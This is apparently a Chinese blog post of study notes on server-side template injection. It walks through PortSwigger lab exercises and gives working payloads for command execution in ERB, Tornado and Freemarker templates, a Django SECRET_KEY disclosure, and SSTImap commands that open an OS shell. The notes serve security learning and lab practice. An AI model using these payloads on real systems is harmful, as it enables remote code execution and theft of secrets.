【Web攻防-21】SSTI服务端&模版注入&利用分类&语言引擎&数据渲染

概念

模板引擎

模板引擎负责视图渲染,将动态数据(如数据库查询结果)嵌入静态模板文件(如 HTML)

SSTI

SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。

参考:https://www.cnblogs.com/R3col/p/12746485.html


SSTI利用思路

确定模板引擎

改参数看报错:

看模板语法

引擎寻找构造

构造payload的思路

寻找可用对象(比如字符串、字典,或者已给出的对象)

通过可用对象寻找原生对象(object)

利用原生对象实例化目标对象(比如os)

执行代码

手工有困难

可用使用Tqlmap或SSTImap代替

##SSTI测试:

首先靠信息搜集,判断当前使用什么模板引擎

实在不行就靠工具进行批量payload测试

靶场地址:https://portswigger.net/web-security/all-labs#server-side-template-injection

Ruby-ERB模板:

靶场:https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic

可以进行测试ssrf、ssti

此处页面应该就是使用了一个模板(通过变量进行一个接收,页面已经做好了,只用填充数据)–> 将此处传入的参数值尝试替换为模板攻击语句

<%= exec 'ls -al' %>

Python-Tornado模板:

靶场:https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context

看7*7是否解析执行为49

blog-post-author-display=user.name}}{{7*7}}

模板是python的,所以使用os模块进行命令执行

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('ls%20-al')

Freemarker:

靶场:https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation

管理员登录后台,修改后台模板,通过ssti触发rce取得权限

<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}

报错提示:

信息搜集角度-判断使用什么模板引擎

靶场:https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit

与第一关差不多,但是当传入参数值为某些触发语句时,发生报错

${{<%[%'"}}%\

然后根据此报错就可判断其使用什么模板引擎,然后就可以使用对应语句进行测试

Python-Django:

靶场:https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-with-information-disclosure-via-user-supplied-objects

与第三关类似,修改模板引擎

{{settings.SECRET_KEY}}

项目工具

集成了大部分模板引擎的攻击语法

探针、模板引擎攻击

tplmap:https://github.com/epinna/tplmap

SSTImap(tplmap升级版,类似于sqlmap): https://github.com/vladko312/SSTImap

进入项目后,pip安装必要模块

pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

运行

python sstimap.py -u 测试地址+参数

获得交互式shell权限

python sstimap.py -u 测试地址+参数 --os-shell

挖掘

白盒

https://forum.butian.net/share/1229

黑盒

  • 找渲染结果 — 页面显示的内容可以控制(与xss相似)
  • 看网站应用语言
  • 看页面美观度,显示有规律性和条理性(单一简陋的页面可能没有使用模板)
  • 看数据包参数能否控制页面显示输出的内容

本节知识点

WEB攻防-SSTI-利用分类&功能点

WEB攻防-SSTI-利用项目&挖掘思路

十二亿七千光年
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇